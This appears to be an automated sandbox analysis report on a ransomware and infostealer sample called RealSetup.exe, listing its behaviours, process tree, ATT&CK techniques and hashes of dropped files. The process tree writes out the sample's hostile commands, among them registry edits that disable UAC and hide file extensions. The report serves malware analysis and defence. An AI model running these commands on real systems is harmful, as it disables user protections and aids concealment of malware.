Overview

overview

10

Static

static

3

RealSetup.exe

windows10-2004-x64

7

RealSetup.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    93s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 21:30

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General

  • Target
    RealSetup.exe
  • Size 17.4MB
  • Sample260820-1cs4aayydy
  • SHA256 0ab3ff8470a9083e9a5e91fdf073aaa51904646f4cd81a50f4378f3d19a765c8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
    defense_evasion
  • UAC bypass 3 TTPs 1 IoCs
    defense_evasiontrojan
  • Renames multiple (93) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Executes dropped EXE 9 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry key 1 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\RealSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\RealSetup.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5000
    • C:\Users\Admin\AppData\Local\Temp\5B260E7B\Launcher.exe
      "C:\Users\Admin\AppData\Local\Temp\5B260E7B\Launcher.exe"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      PID:5928
      • C:\Windows\SYSTEM32\curl.exe
        "curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"
        3⤵
          PID:4656
      • C:\Users\Admin\AppData\Local\Temp\5B260E7B\RealSetup_2933dfbef0962b4b7c4c4fff21410291c83d29a8585639deb34a1198c54a486a.exe
        "C:\Users\Admin\AppData\Local\Temp\5B260E7B\RealSetup_2933dfbef0962b4b7c4c4fff21410291c83d29a8585639deb34a1198c54a486a.exe"
        2⤵
        • Modifies WinLogon for persistence
        • Executes dropped EXE
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4464
        • C:\Users\Admin\fawoIIgo\JIQcQoAQ.exe
          "C:\Users\Admin\fawoIIgo\JIQcQoAQ.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          PID:2932
        • C:\ProgramData\lMYoswQw\KCAYgAEg.exe
          "C:\ProgramData\lMYoswQw\KCAYgAEg.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4620
          • C:\Users\Admin\fawoIIgo\JIQcQoAQ.exe
            "C:\Users\Admin\fawoIIgo\JIQcQoAQ.exe"
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            PID:264
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5B260E7B\RealSetup_2933dfbef0962b4b7c4c4fff21410291c83d29a8585639deb34a1198c54a486a"
          3⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5892
          • C:\Users\Admin\AppData\Local\Temp\5B260E7B\RealSetup_2933dfbef0962b4b7c4c4fff21410291c83d29a8585639deb34a1198c54a486a.exe
            C:\Users\Admin\AppData\Local\Temp\5B260E7B\RealSetup_2933dfbef0962b4b7c4c4fff21410291c83d29a8585639deb34a1198c54a486a
            4⤵
            • Executes dropped EXE
            PID:996
            • C:\Windows\SysWOW64\reg.exe
              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
              5⤵
              • Modifies registry key
              PID:4500
            • C:\Windows\SysWOW64\reg.exe
              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
              5⤵
              • Modifies registry key
              PID:1292
            • C:\Windows\SysWOW64\reg.exe
              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
              5⤵
              • Modifies registry key
              PID:3432
        • C:\Windows\SysWOW64\reg.exe
          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
          3⤵
          • Modifies visibility of file extensions in Explorer
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:680
        • C:\Windows\SysWOW64\reg.exe
          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
          3⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:3280
        • C:\Windows\SysWOW64\reg.exe
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
          3⤵
          • UAC bypass
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:4160
    • C:\ProgramData\JwUswsIc\DSUMAAkc.exe
      C:\ProgramData\JwUswsIc\DSUMAAkc.exe
      1⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious behavior: GetForegroundWindowSpam
      PID:4132
    • C:\ProgramData\lMYoswQw\KCAYgAEg.exe
      C:\ProgramData\lMYoswQw\KCAYgAEg.exe
      1⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      PID:3708
    • C:\Users\Admin\fawoIIgo\JIQcQoAQ.exe
      C:\Users\Admin\fawoIIgo\JIQcQoAQ.exe
      1⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      PID:1408
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2464

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          Windows Command Shell

          1
          T1059.003

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Winlogon Helper DLL

          1
          T1547.004

          Privilege Escalation

          Abuse Elevation Control Mechanism

          1
          T1548

          Bypass User Account Control

          1
          T1548.002

          Boot or Logon Autostart Execution

          2
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Winlogon Helper DLL

          1
          T1547.004

          Defense Evasion

          Abuse Elevation Control Mechanism

          1
          T1548

          Bypass User Account Control

          1
          T1548.002

          Hide Artifacts

          1
          T1564

          Hidden Files and Directories

          1
          T1564.001

          Impair Defenses

          1
          T1562

          Disable or Modify Tools

          1
          T1562.001

          Modify Registry

          5
          T1112

          Credential Access

          Credentials from Password Stores

          1
          T1555

          Credentials from Web Browsers

          1
          T1555.003

          Unsecured Credentials

          1
          T1552

          Credentials In Files

          1
          T1552.001

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          Lateral Movement

          Collection

          Data from Local System

          1
          T1005

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

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          Downloads

          DSUMAAkc.exe
          • Path C:\ProgramData\JwUswsIc\DSUMAAkc.exe
          • Size 1.9MB
          • SHA256 37bebddd7049f46b7b017907e01cbfe87b863ed0fb6e53b9e49a6a181f3806cf
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          KCAYgAEg.exe
          • Path C:\ProgramData\lMYoswQw\KCAYgAEg.exe
          • Size 1.9MB
          • SHA256 2e1c53e9bbc7147a9e072ab7e778c562e386fb8a0fe490a345d7e907a92ede9f
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Launcher.exe
          • Path C:\Users\Admin\AppData\Local\Temp\5B260E7B\Launcher.exe
          • Size 1.1MB
          • SHA256 4112057309e3aa8a6c6270c43205a3b44999c83c2081096de82b5652ec4b110c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          RealSetup_2933dfbef0962b4b7c4c4fff21410291c83d29a8585639deb34a1198c54a486a.exe
          • Path C:\Users\Admin\AppData\Local\Temp\5B260E7B\RealSetup_2933dfbef0962b4b7c4c4fff21410291c83d29a8585639deb34a1198c54a486a.exe
          • Size 18.4MB
          • SHA256 06c194145311d5276c5efbda01f89f1d3edc6e5873d2ccd971c105b4b8dd234f
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          JIQcQoAQ.exe
          • Path C:\Users\Admin\fawoIIgo\JIQcQoAQ.exe
          • Size 2.0MB
          • SHA256 7e344f8b88729e37ae6f2d5daa7aefe6e8d1107e1ffb3e32b1df81bb0474e9a0
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/4464-8-0x0000000001810000-0x000000000185E000-memory.dmp
          Download

          memory/4464-9-0x0000000001810000-0x000000000185E000-memory.dmp
          Download